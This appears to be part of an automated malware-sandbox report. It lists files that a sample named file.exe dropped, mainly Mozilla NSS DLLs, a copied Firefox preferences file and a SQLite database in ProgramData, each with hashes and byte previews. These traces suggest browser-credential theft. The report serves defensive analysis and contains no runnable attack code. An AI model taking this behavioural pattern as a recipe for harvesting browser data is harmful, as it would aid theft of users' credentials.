Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJEHJKJEBGHJJKEBGIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\30040730-45a7-4ff2-bd46-8616da099ae0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46067
Entropy (8bit):	6.087932101249773
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQcrQgxKCtii1zNt0vs9ywAEoCtFrqtQCioSJDSgzMMd6qD47u30A:NMk1rT8HRKxvsXHFoStSmd6qE7e
MD5:	E7CF4EB1652443C045BA4B0AA08DABE7
SHA1:	1F8E6478754B4A60A5A4B86B0DE48AA976306C7A
SHA-256:	F0AE3C64EA437940AE30CF4A49AF57D32969809806D26FE293B4DAF08AC9DC3E
SHA-512:	8BABB2CC1AF265FBDB1780514E1ED79343956C75AF560C6C5FC68E922A3C6C41F81704474EAB4F6B568A155AD43D7A06BFD641FBF48189AA8983B9C938AFAEFA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376277516813017","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"ff965753-4760-4c46-8c3e-4438c443809b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\33f60175-3c81-4293-8635-7311377ba1ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46020
Entropy (8bit):	6.088148104607455
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQcrQgxKCcii1zNt0vs9ywAEoCtFrqtQCioSJDSgzMMd6qD47u30A:NMk1rT8HRKGvsXHFoStSmd6qE7e
MD5:	04866E3485B730983D109A14CC775F10
SHA1:	B28313228568E319296E17FA0CCA9DC2D4F85DB8
SHA-256:	4546F9D1684C3FF4CEAA23624844BD987156C3A8519A52F9535C0C279F0383FE
SHA-512:	88D97DAD00B2A186A57C7AF2259A279430425A3D42B24B01B7C80651DD98CECB74DA74F6E899FB86433669091AD7610614BDEC7221E2402FB530A1AA11F6A910
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376277516813017","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"ff965753-4760-4c46-8c3e-4438c443809b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\405995c6-1155-43cf-ad50-a647ecce1c50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095377177365977
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWnDi1zNt0vsNmKog+KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynsvsqKtSmd6qE7lFoC
MD5:	23CDECDDACA676D5C2A663F1AD55292F
SHA1:	3CB00925274A268E144A377BABBB1758BFC6A537
SHA-256:	B4B0931630BB2C9AC49B33D78EB8125CF737B36FA2D3505CB781E7490E0129AE
SHA-512:	165579D570AC61A331E22D63BA62F7471BC1B8017B21AAA6B21E8A81DDEC3B7EE1291184C62D34D9A6A90F644FA982F979832D24C6DC82DCB73EC6612115D766
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\54cffa9a-8f70-45be-9f8e-42199831dfac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6abf2c65-b011-4bd8-a0df-10f0f8471de2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095377177365977
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWnDi1zNt0vsNmKog+KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynsvsqKtSmd6qE7lFoC
MD5:	23CDECDDACA676D5C2A663F1AD55292F
SHA1:	3CB00925274A268E144A377BABBB1758BFC6A537
SHA-256:	B4B0931630BB2C9AC49B33D78EB8125CF737B36FA2D3505CB781E7490E0129AE
SHA-512:	165579D570AC61A331E22D63BA62F7471BC1B8017B21AAA6B21E8A81DDEC3B7EE1291184C62D34D9A6A90F644FA982F979832D24C6DC82DCB73EC6612115D766
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\865baf9c-262b-4bd2-b455-fc6a75eec0b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46144
Entropy (8bit):	6.087845748931593
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQcrQgb9Ctii1zNt0vpywAEoCtFrqtQCioSJDSgzMMd6qD47u30A:NMk1rT8H79xv7HFoStSmd6qE7e
MD5:	E212944BD9372002AACEB392176879D5
SHA1:	6B5A64477A873D011728DB539E92E7E594A55A22
SHA-256:	E9675AC9E9077686D58A25C2F8DDAF6F1578C569A5E5FD1370D3538EC8000ABD
SHA-512:	414ED64A59F52B75242BE7155F9F4DB4BDB36D45A63DFC288050F3922AF037F62A4E5C905B040CE1909FD7324775CD773B28AF3CF20DD8651A103A9629F996E1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376277516813017","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"ff965753-4760-4c46-8c3e-4438c443809b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\93c27eca-d8b0-429e-b0d4-958ca10dd884.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44984
Entropy (8bit):	6.095827645446433
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW6Di1zNt0vs9ywAEoCtKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOjvsXKtSmd6qE7lFoC
MD5:	4D3E1DC808D08DBBCF83BEB580CDB718
SHA1:	2E04CE19C36A4C5AB8E198074D219D0D5AECEFC6
SHA-256:	220E7AF473426386740F5D2967E8771EF0DAB99AFF223B021165FFF598301DFB
SHA-512:	049E47EC11F859629E299F45270DEB80D1B431E14C166A3956E16B77D64E8B67D3FD80926A7CDDA2890B332935A26C13CF41E82967AE85D01928690B3DE9A761
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\9738bd13-bdf2-4c9b-8891-5aea41b52bf5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
